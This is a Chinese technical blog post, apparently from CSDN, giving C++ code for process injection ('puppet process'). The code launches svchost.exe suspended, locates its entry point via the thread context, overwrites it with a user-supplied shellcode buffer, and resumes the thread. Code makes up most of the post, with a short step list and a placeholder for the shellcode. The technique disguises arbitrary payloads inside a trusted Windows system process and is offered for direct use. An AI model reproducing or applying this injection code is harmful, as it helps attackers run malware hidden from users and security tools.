创建傀儡进程代码

相比传统的创建傀儡进程的方法,更简单粗暴一些,不用卸载目标进程空间内存。直接利用现有内存进行覆盖写入即可。
减少了一些步骤。

具体步骤:

1.挂起模式创建svchost.exe
2.获取进程入口点
3.将shellcode写到入口点
4.恢复线程执行

#include "stdafx.h"
#include <windows.h>
#include <Winternl.h>
#include "common.h"
#include <iostream>
using namespace std;

unsigned char buf[] = " 替换成你的shellcode";


int _tmain(int argc, _TCHAR* argv[])
{

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(STARTUPINFOA);
    // 创建挂起进程
    if (!CreateProcessA(
        "c:\\windows\\sysWoW64\\svchost.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi
        ))
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
        return 0;
    }

    // 获取线程上下文
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;
    if (!GetThreadContext(pi.hThread, &ctx))
    {
        printf("GetThreadContext failed (%d).\n", GetLastError());
    }

    // 拿到目标进程主线程上下文后,在Ebx寄存器中保存的就是PEB的地址,
    // 而PEB结构偏移0x8的位置是AddressOfImageBase字段,
    // 所以直接来读取ctx.Ebx+0x8,就可以获取到目标进程的加载基址
    DWORD dwImageBase = 0;
    DWORD lpNumberOfBytesRead = 0;
    if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 0x8), &dwImageBase, sizeof(DWORD), &lpNumberOfBytesRead))
    {
        printf("ReadProcessMemory failed (%d).\n", GetLastError());
        return 0;
    }


    // 在申请的空间中写入shellcode
    DWORD NumberOfBytesWritten = 0;
    if (!WriteProcessMemory(pi.hProcess, (LPVOID)ctx.Eax, buf, sizeof(buf), &NumberOfBytesWritten))
    {
        printf("WriteProcessMemory failed (%d).\n", GetLastError());
    }


    // 恢复线程执行
    if (ResumeThread(pi.hThread) == -1)
    {
        printf("ResumeThread failed (%d).\n", GetLastError());
    }

	return 0;
}

在这里插入图片描述

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值